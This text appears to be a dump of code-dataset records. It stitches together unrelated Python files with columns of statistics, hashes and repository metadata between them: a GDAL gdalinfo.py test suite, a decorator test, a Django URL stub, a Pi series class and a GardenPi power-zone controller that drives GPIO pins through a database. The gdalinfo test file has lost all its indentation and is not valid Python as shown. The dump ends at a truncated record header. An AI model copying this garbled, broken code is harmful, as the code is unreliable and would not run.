# Purpose: gdalinfo.py testing
# Author: Even Rouault <even dot rouault @ spatialys.com>
#
###############################################################################
# Copyright (c) 2010, Even Rouault <even dot rouault at spatialys.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
###############################################################################
import os
import test_py_scripts
import pytest
###############################################################################
# Simple test
def test_gdalinfo_py_1():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gcore/data/byte.tif')
assert ret.find('Driver: GTiff/GeoTIFF') != -1
###############################################################################
# Test -checksum option
def test_gdalinfo_py_2():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-checksum ../gcore/data/byte.tif')
assert ret.find('Checksum=4672') != -1
###############################################################################
# Test -nomd option
def test_gdalinfo_py_3():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gcore/data/byte.tif')
assert ret.find('Metadata') != -1
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-nomd ../gcore/data/byte.tif')
assert ret.find('Metadata') == -1
###############################################################################
# Test -noct option
def test_gdalinfo_py_4():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gdrivers/data/gif/bug407.gif')
assert ret.find('0: 255,255,255,255') != -1
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-noct ../gdrivers/data/gif/bug407.gif')
assert ret.find('0: 255,255,255,255') == -1
###############################################################################
# Test -stats option
def test_gdalinfo_py_5():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
try:
os.remove('../gcore/data/byte.tif.aux.xml')
except OSError:
pass
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gcore/data/byte.tif')
assert ret.find('STATISTICS_MINIMUM=74') == -1, 'got wrong minimum.'
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-stats ../gcore/data/byte.tif')
assert ret.find('STATISTICS_MINIMUM=74') != -1, 'got wrong minimum (2).'
# We will blow an exception if the file does not exist now!
os.remove('../gcore/data/byte.tif.aux.xml')
###############################################################################
# Test a dataset with overviews and RAT
def test_gdalinfo_py_6():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gdrivers/data/hfa/int.img')
assert ret.find('Overviews') != -1
###############################################################################
# Test a dataset with GCPs
def test_gdalinfo_py_7():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gcore/data/gcps.vrt')
assert ret.find('GCP Projection =') != -1
assert ret.find('PROJCS["NAD27 / UTM zone 11N"') != -1
assert ret.find('(100,100) -> (446720,3745320,0)') != -1
# Same but with -nogcps
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-nogcp ../gcore/data/gcps.vrt')
assert ret.find('GCP Projection =') == -1
assert ret.find('PROJCS["NAD27 / UTM zone 11N"') == -1
assert ret.find('(100,100) -> (446720,3745320,0)') == -1
###############################################################################
# Test -hist option
def test_gdalinfo_py_8():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
try:
os.remove('../gcore/data/byte.tif.aux.xml')
except OSError:
pass
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gcore/data/byte.tif')
assert ret.find('0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 37 0 0 0 0 0 0 0 57 0 0 0 0 0 0 0 62 0 0 0 0 0 0 0 66 0 0 0 0 0 0 0 0 72 0 0 0 0 0 0 0 31 0 0 0 0 0 0 0 24 0 0 0 0 0 0 0 12 0 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 12 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1') == -1, \
'did not expect histogram.'
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-hist ../gcore/data/byte.tif')
assert ret.find('0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 37 0 0 0 0 0 0 0 57 0 0 0 0 0 0 0 62 0 0 0 0 0 0 0 66 0 0 0 0 0 0 0 0 72 0 0 0 0 0 0 0 31 0 0 0 0 0 0 0 24 0 0 0 0 0 0 0 12 0 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 12 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1') != -1, \
'did not get expected histogram.'
# We will blow an exception if the file does not exist now!
os.remove('../gcore/data/byte.tif.aux.xml')
###############################################################################
# Test -mdd option
def test_gdalinfo_py_9():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gdrivers/data/nitf/fake_nsif.ntf')
assert ret.find('BLOCKA=010000001000000000') == -1, 'Got unexpected extra MD.'
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-mdd TRE ../gdrivers/data/nitf/fake_nsif.ntf')
assert ret.find('BLOCKA=010000001000000000') != -1, 'did not get extra MD.'
###############################################################################
# Test -mm option
def test_gdalinfo_py_10():
script_path = test_py_scripts.get_py_script('gdalinfo')
if script_path is None:
pytest.skip()
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '../gcore/data/byte.tif')
assert ret.find('Computed Min/Max=74.000,255.000') == -1
ret = test_py_scripts.run_py_script(script_path, 'gdalinfo', '-mm ../gcore/data/byte.tif')
assert ret.find('Computed Min/Max=74.000,255.000') != -1
| 40.795122 | 552 | 0.585436 | 1,458 | 8,363 | 3.233882 | 0.155693 | 0.186638 | 0.257052 | 0.312195 | 0.716013 | 0.671262 | 0.671262 | 0.665111 | 0.665111 | 0.655355 | 0 | 0.105692 | 0.193352 | 8,363 | 204 | 553 | 40.995098 | 0.59324 | 0.18821 | 0 | 0.483871 | 0 | 0.021505 | 0.419129 | 0.118902 | 0 | 0 | 0 | 0 | 0.225806 | 1 | 0.107527 | false | 0.021505 | 0.032258 | 0 | 0.139785 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
07c9b5d0c3a07e39963fef6a60e2d42fb54e6203 | 478 | py | Python | test/test_unit_tests/test_decorator/test_extract_settings/test_no_arguments.py | EmilianoJordan/Sejings | d8d35497772b3f48cca88e150ad9d74e3a91af13 | [
"Apache-2.0"
] | 1 | 2019-12-30T22:47:01.000Z | 2019-12-30T22:47:01.000Z | test/test_unit_tests/test_decorator/test_extract_settings/test_no_arguments.py | EmilianoJordan/Sejings | d8d35497772b3f48cca88e150ad9d74e3a91af13 | [
"Apache-2.0"
] | null | null | null | test/test_unit_tests/test_decorator/test_extract_settings/test_no_arguments.py | EmilianoJordan/Sejings | d8d35497772b3f48cca88e150ad9d74e3a91af13 | [
"Apache-2.0"
] | null | null | null | # Created: 10/20/2019
# Author: Emiliano Jordan,
# Project: sejings
from sejings import extract_sejings, sejings as s
s.one = 'kw_one'
s.two = 'kw_two'
s.three = 'three'
s.three.one = 'three.one'
@extract_sejings()
def function_no_args():
return None
def test_no_arguments():
assert function_no_args() is None
@extract_sejings
def no_parent_function_no_args():
return None
def test_no_paren_no_arguments():
assert no_parent_function_no_args() is None
| 16.482759 | 49 | 0.736402 | 75 | 478 | 4.386667 | 0.4 | 0.121581 | 0.170213 | 0.121581 | 0.370821 | 0.200608 | 0.200608 | 0.200608 | 0 | 0 | 0 | 0.02 | 0.16318 | 478 | 28 | 50 | 17.071429 | 0.8025 | 0.129707 | 0 | 0.133333 | 0 | 0 | 0.063107 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 1 | 0.266667 | true | 0 | 0.066667 | 0.133333 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
07cf4282edc8d70b32154c0f30670f1e704ad4a6 | 384 | py | Python | app/movie_ranking/urls.py | thomas5566/django-on-docker | 9314f927df9a256032795e7af4b780569d889360 | [
"MIT"
] | null | null | null | app/movie_ranking/urls.py | thomas5566/django-on-docker | 9314f927df9a256032795e7af4b780569d889360 | [
"MIT"
] | null | null | null | app/movie_ranking/urls.py | thomas5566/django-on-docker | 9314f927df9a256032795e7af4b780569d889360 | [
"MIT"
] | null | null | null | from django.urls import path, include
from . import views
# from rest_framework.routers import DefaultRouter
# router = DefaultRouter()
# router.register('movies-viewset', views.MovieViewSet,
# basename='movies-viewset')
# urlpatterns = [
# path('', include(router.urls)),
# path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))
# ] | 27.428571 | 83 | 0.690104 | 41 | 384 | 6.390244 | 0.512195 | 0.148855 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164063 | 384 | 14 | 84 | 27.428571 | 0.816199 | 0.796875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
07d3679697d6c5eafd96b823979fbc7e59a2d4b1 | 773 | py | Python | math/variables/pi.py | ginnyTheCat/Simalia | 2d0b26d0f413d16d6a7cb62aa9612d9f346c6fbb | [
"MIT"
] | null | null | null | math/variables/pi.py | ginnyTheCat/Simalia | 2d0b26d0f413d16d6a7cb62aa9612d9f346c6fbb | [
"MIT"
] | null | null | null | math/variables/pi.py | ginnyTheCat/Simalia | 2d0b26d0f413d16d6a7cb62aa9612d9f346c6fbb | [
"MIT"
] | null | null | null | from simalia.math.numbers.integer import Integer
from simalia.math.operators.sum import Sum
from simalia.pymath import Variable
class Pi(Sum, Variable):
def __init__(self, iterations=11):
self.__k = Variable("k", Integer(0))
super().__init__(iterations, self.__k, self.__formular)
self.iterations = iterations
def __str__(self):
return "\u03c0"
def latex(self):
return "\\pi"
def __formular(self):
k8 = (Integer(8) * self.__k.val).calc()
return (Integer(1) / Integer(16) ** self.__k.val) * (
(Integer(4) / (k8 + Integer(1))) -
(Integer(2) / (k8 + Integer(4))) -
(Integer(1) / (k8 + Integer(5))) -
(Integer(1) / (k8 + Integer(6))))
| 29.730769 | 63 | 0.56533 | 92 | 773 | 4.48913 | 0.380435 | 0.108959 | 0.072639 | 0.082324 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041293 | 0.279431 | 773 | 25 | 64 | 30.92 | 0.70018 | 0 | 0 | 0 | 0 | 0 | 0.01423 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0 | 0.157895 | 0.105263 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
07d7c4cf6a113530998956b1086a52cec328713f | 20,382 | py | Python | GardenPi/utilities/power_controller.py | rjsears/GardenPi | a7c6e53af358d7786354296fbcd3cc767da2c330 | [
"MIT"
] | 220 | 2020-08-05T03:32:24.000Z | 2022-03-16T03:07:48.000Z | GardenPi/utilities/power_controller.py | francishero/GardenPi | 8e82107f259ee48cdceb6b8016380b26c4895f63 | [
"MIT"
] | 8 | 2020-08-05T21:08:35.000Z | 2020-09-14T01:49:49.000Z | GardenPi/utilities/power_controller.py | francishero/GardenPi | 8e82107f259ee48cdceb6b8016380b26c4895f63 | [
"MIT"
] | 29 | 2020-08-05T10:00:20.000Z | 2021-12-20T11:23:41.000Z | #!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
power_controller.py for usage with neptune/GardenPi V1.0.0
Manages all of our power zones.
"""
VERSION = "V1.0.0 (2020-07-31)"
import sys
sys.path.append('/var/www/gardenpi_control/gardenpi')
from sqlalchemy import update, select, and_, create_engine
import system_info
from tables import power, power_scheduled_jobs, power_currently_running
from system_logging import setup_logging
from system_logging import read_logging_config
import logging
import wiringpi as mcp
mcp.wiringPiSetup() # initialise wiringpi
mcp.mcp23017Setup(96,0x25) #MCP2 GPIOs 96-111
# Instantiate SQAlchemy Database Engine
engine = create_engine(system_info.sqlalchemy_db_uri, pool_recycle=3600)
#Setup Module level logging here. Main logging config in system_logging.py
setup_logging()
level = read_logging_config('logging', 'log_level')
level = logging._checkLevel(level)
log = logging.getLogger(__name__)
log.setLevel(level)
class PowerZoneSchedule:
def __init__(self, name, job_id, zone_job, job_enabled, job_start_time, job_stop_time,
job_duration, job_running, monday, tuesday, wednesday, thursday, friday,
saturday, sunday, forced_stopped_manually):
self.name = name
self.job_id = job_id
self.zone_job = zone_job
self.job_enabled = job_enabled
self.job_start_time = job_start_time
self.job_stop_time = job_stop_time
self.job_duration = job_duration
self.job_running = job_running
self.monday = monday
self.tuesday = tuesday
self.wednesday = wednesday
self.thursday = thursday
self.friday = friday
self.saturday = saturday
self.sunday = sunday
self.forced_stopped_manually = forced_stopped_manually
@classmethod
def config_powerzoneschedule(cls, zone_name):
with engine.begin() as conn:
stmt = select([power_scheduled_jobs]).where(power_scheduled_jobs.c.zone.in_(zone_name))
return [
cls(
name=row[power_scheduled_jobs.c.zone],
job_id=row[power_scheduled_jobs.c.job_id],
zone_job=row[power_scheduled_jobs.c.zone_job],
job_enabled=row[power_scheduled_jobs.c.job_enabled],
job_start_time=row[power_scheduled_jobs.c.job_start_time],
job_stop_time=row[power_scheduled_jobs.c.job_stop_time],
job_duration=row[power_scheduled_jobs.c.job_duration],
job_running=row[power_scheduled_jobs.c.job_running],
monday=row[power_scheduled_jobs.c.monday],
tuesday=row[power_scheduled_jobs.c.tuesday],
wednesday=row[power_scheduled_jobs.c.wednesday],
thursday=row[power_scheduled_jobs.c.thursday],
friday=row[power_scheduled_jobs.c.friday],
saturday=row[power_scheduled_jobs.c.saturday],
sunday=row[power_scheduled_jobs.c.sunday],
forced_stopped_manually=row[power_scheduled_jobs.c.forced_stop_manually]
)
for row in conn.execute(stmt).fetchall()
]
def sa_read_powerzone_schedule_by_zonejob(self, zone_name, zone_job):
'''
Uses SQLAlchemy to connect to db and return all jobs by job number.
'''
with engine.begin() as conn:
return (conn.execute(select([power_scheduled_jobs]).where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))))).fetchall()
def sa_read_powerzone_schedule_by_zonejobday(self, zone_name, zone_job, day):
'''
Uses SQLAlchemy to connect to db and return all jobs by job number and day.
'''
with engine.begin() as conn:
results = (conn.execute(select([power_scheduled_jobs]).where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job),
power_scheduled_jobs.c.job_enabled == (True),
getattr(power_scheduled_jobs.c, day) == (True))))).fetchall()
return (results)
def sa_read_zone_schedule_by_zone(self, zone_name):
with engine.begin() as conn:
results = (conn.execute(select([power_scheduled_jobs]).where(power_scheduled_jobs.c.zone == zone_name))).fetchall()
return (results)
def update_day(self, zone_name, zone_job, day_of_week, value):
with engine.begin() as conn:
conn.execute(power_scheduled_jobs.update().where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))).values({getattr(power_scheduled_jobs.c, day_of_week): value}))
def update_job_start_time(self, zone_name, zone_job, job_start_time):
with engine.begin() as conn:
conn.execute(power_scheduled_jobs.update().where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))).values({power_scheduled_jobs.c.job_start_time: job_start_time}))
def update_job_stop_time(self, zone_name, zone_job, job_stop_time):
with engine.begin() as conn:
conn.execute(power_scheduled_jobs.update().where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))).values({power_scheduled_jobs.c.job_stop_time: job_stop_time}))
def toggle_job(self, zone_name, zone_job):
with engine.begin() as conn:
job_enabled = (self.sa_read_powerzone_schedule_by_zonejob(zone_name, zone_job)[0][3])
if job_enabled:
conn.execute(power_scheduled_jobs.update().where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))).values({power_scheduled_jobs.c.job_enabled: False}))
else:
conn.execute(power_scheduled_jobs.update().where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))).values({power_scheduled_jobs.c.job_enabled: True}))
def update_job_duration(self, zone_name, zone_job, job_duration):
with engine.begin() as conn:
conn.execute(power_scheduled_jobs.update().where(and_(power_scheduled_jobs.c.zone == (zone_name),
power_scheduled_jobs.c.zone_job == (zone_job))).values({power_scheduled_jobs.c.job_duration: job_duration}))
class PowerController:
def __init__(self, name, number, description, gpio, enabled, running, running_manually, mcp, notifications, sms, pb, email):
self.zone_name = name
self.zone_number = number
self.description = description
self.gpio = gpio
self.enabled = enabled
self.running = running
self.running_manually = running_manually
self.mcp = mcp
self.notifications = notifications
self.sms = sms
self.pb = pb
self.email = email
@classmethod
def read_config(cls, zone_name):
with engine.begin() as conn:
stmt = select([power]).where(power.c.zone_name.in_(zone_name))
return [
cls(
name=row[power.c.zone_name],
number=row[power.c.zone_number],
description=row[power.c.description],
gpio=row[power.c.gpio],
enabled=row[power.c.enabled],
running=row[power.c.running],
running_manually=row[power.c.running_manually],
mcp=row[power.c.mcp],
notifications=row[power.c.notifications],
sms=row[power.c.sms],
pb=row[power.c.pb],
email=row[power.c.email]
)
for row in conn.execute(stmt).fetchall()
]
def run_job(self, job_id):
with engine.begin() as conn:
enabled = (conn.execute(select([power.c.enabled]).where(power.c.zone_name == self.zone_name))).scalar()
if enabled:
with engine.begin() as conn:
running = (conn.execute(select([power.c.running]).where(power.c.zone_name == self.zone_name))).scalar()
if running:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is already running.')
else:
self.running = True
with engine.begin() as conn:
# With this db update we are updating the individual zone db record for the zone that is running.
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running: True}))
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running_manually: False}))
conn.execute(power_scheduled_jobs.update().where(power_scheduled_jobs.c.job_id == job_id).values({power_scheduled_jobs.c.job_running: True}))
# With this db update we are updating the system_wide indication that "a" or "any" zone is running.
# To access this, call use_database.zones_running_now() and it will return True or False on a systemwide
# basis.
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.currently_running: True}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_manually: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_by_job: True}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.job_id: job_id}))
mcp.pinMode(self.gpio, 1)
mcp.digitalWrite(self.gpio, 1)
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is now RUNNING.')
else:
log.debug(f'ERROR: Zone {self.zone_number} ({self.zone_name}) is DISABLED. Please enable it first.')
def run(self):
with engine.begin() as conn:
enabled = (conn.execute(select([power.c.enabled]).where(power.c.zone_name == self.zone_name))).scalar()
if enabled:
with engine.begin() as conn:
running = (conn.execute(select([power.c.running]).where(power.c.zone_name == self.zone_name))).scalar()
if running:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is already running.')
else:
self.running = True
with engine.begin() as conn:
# With this db update we are updating the individual zone db record for the zone that is running.
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running: True}))
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running_manually: True}))
# With this db update we are updating the system_wide indication that "a" or "any" zone is running.
# To access this, call use_database.zones_running_now() and it will return True or False on a systemwide
# basis.
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.currently_running: True}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_manually: True}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_by_job: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.job_id: 0}))
mcp.pinMode(self.gpio, 1)
mcp.digitalWrite(self.gpio, 1)
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is now RUNNING.')
else:
log.debug(f'ERROR: Zone {self.zone_number} ({self.zone_name}) is DISABLED. Please enable it first.')
def stop_job(self, job_id, forced):
with engine.begin() as conn:
running = (conn.execute(select([power.c.running]).where(power.c.zone_name == self.zone_name))).scalar()
if running:
self.running = power
with engine.begin() as conn:
# With this db update we are updating the individual zone db record for the zone that is running.
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running: False}))
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running_manually: False}))
conn.execute(power_scheduled_jobs.update().where(power_scheduled_jobs.c.job_id == job_id).values({power_scheduled_jobs.c.job_running: False}))
if forced:
conn.execute(power_scheduled_jobs.update().where(power_scheduled_jobs.c.job_id == job_id).values({power_scheduled_jobs.c.forced_stop_manually: True}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.force_stopped: True}))
# With this db update we are updating the system_wide indication that "a" or "any" zone is running.
# To access this, call use_database.zones_running_now() and it will return True or False on a systemwide
# basis.
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.currently_running: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_manually: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_by_job: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.job_id: 0}))
mcp.digitalWrite(self.gpio, 0)
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is now STOPPED.')
else:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is not currently running!!.')
def stop(self):
with engine.begin() as conn:
enabled = (conn.execute(select([power.c.enabled]).where(power.c.zone_name == self.zone_name))).scalar()
if enabled:
with engine.begin() as conn:
running = (conn.execute(select([power.c.running]).where(power.c.zone_name == self.zone_name))).scalar()
if running:
self.running = False
with engine.begin() as conn:
# With this db update we are updating the individual zone db record for the zone that is running.
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running: False}))
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.running_manually: False}))
# With this db update we are updating the system_wide indication that "a" or "any" zone is running.
# To access this, call use_database.zones_running_now() and it will return True or False on a systemwide
# basis.
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.currently_running: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_manually: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.run_by_job: False}))
conn.execute(power_currently_running.update().where(power_currently_running.c.zone_name == self.zone_name).values({power_currently_running.c.job_id: 0}))
mcp.digitalWrite(self.gpio, 0)
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is now STOPPED.')
else:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is not currently running.')
else:
log.debug(f'ERROR: Zone {self.zone_number} ({self.zone_name}) is DISABLED. Please enable it first.')
def enable(self):
with engine.begin() as conn:
enabled = (conn.execute(select([power.c.enabled]).where(power.c.zone_name == self.zone_name))).scalar()
if enabled:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is already enabled.')
else:
self.enabled = True
with engine.begin() as conn:
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.enabled: True}))
log.debug(f'Zone {self.zone_number} ({self.zone_name}) has been enabled.')
def disable(self):
with engine.begin() as conn:
enabled = (conn.execute(select([power.c.enabled]).where(power.c.zone_name == self.zone_name))).scalar()
if enabled:
with engine.begin() as conn:
running = (conn.execute(select([power.c.running]).where(power.c.zone_name == self.zone_name))).scalar()
if running:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is currently running.')
log.debug(f'Shutting off Zone {self.zone_number} ({self.zone_name}) before disabling.')
self.stop()
self.enabled = False
with engine.begin() as conn:
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({power.c.enabled: False}))
log.debug(f'Zone {self.zone_number} ({self.zone_name}) has been disbled.')
else:
log.debug(f'Zone {self.zone_number} ({self.zone_name}) is already disabled.')
def notification_toggle(self, notification):
with engine.begin() as conn:
if getattr(self, notification):
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({notification: False}))
setattr(self, notification, False)
log.debug(f'System Notifications: ({notification}) for Zone {self.zone_number} ({self.zone_name}) Disabled.')
else:
conn.execute(power.update().where(power.c.zone_name == self.zone_name).values({notification: True}))
setattr(self, notification, True)
log.debug(f'System Notifications: ({notification}) for Zone {self.zone_number} ({self.zone_name}) Enabled.')
def main():
print("Not intended to be run directly.")
print("This is the systemwide PowerController module.")
print("It is called by other modules.")
exit()
if __name__ == '__main__':
main() | 61.577039 | 188 | 0.630507 | 2,596 | 20,382 | 4.711864 | 0.076271 | 0.079791 | 0.065729 | 0.074559 | 0.776897 | 0.750818 | 0.721305 | 0.69261 | 0.674624 | 0.674624 | 0 | 0.003106 | 0.257629 | 20,382 | 331 | 189 | 61.577039 | 0.8053 | 0.080365 | 0 | 0.41573 | 0 | 0.011236 | 0.080771 | 0.001821 | 0 | 0 | 0.000214 | 0 | 0 | 1 | 0.074906 | false | 0 | 0.029963 | 0 | 0.131086 | 0.011236 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
07dc4dfd5af8092e375107d4158c0376562b7871 | 90 | py | Python | boa_test/example/AddTest3.py | EdgeDLT/neo-boa | d238ffb4264ff62b35066159c7ead7115f3bf78c | [
"MIT"
] | 79 | 2017-10-22T03:35:06.000Z | 2021-12-02T10:28:06.000Z | boa_test/example/AddTest3.py | EdgeDLT/neo-boa | d238ffb4264ff62b35066159c7ead7115f3bf78c | [
"MIT"
] | 122 | 2017-10-19T12:34:08.000Z | 2020-08-20T12:38:17.000Z | boa_test/example/AddTest3.py | EdgeDLT/neo-boa | d238ffb4264ff62b35066159c7ead7115f3bf78c | [
"MIT"
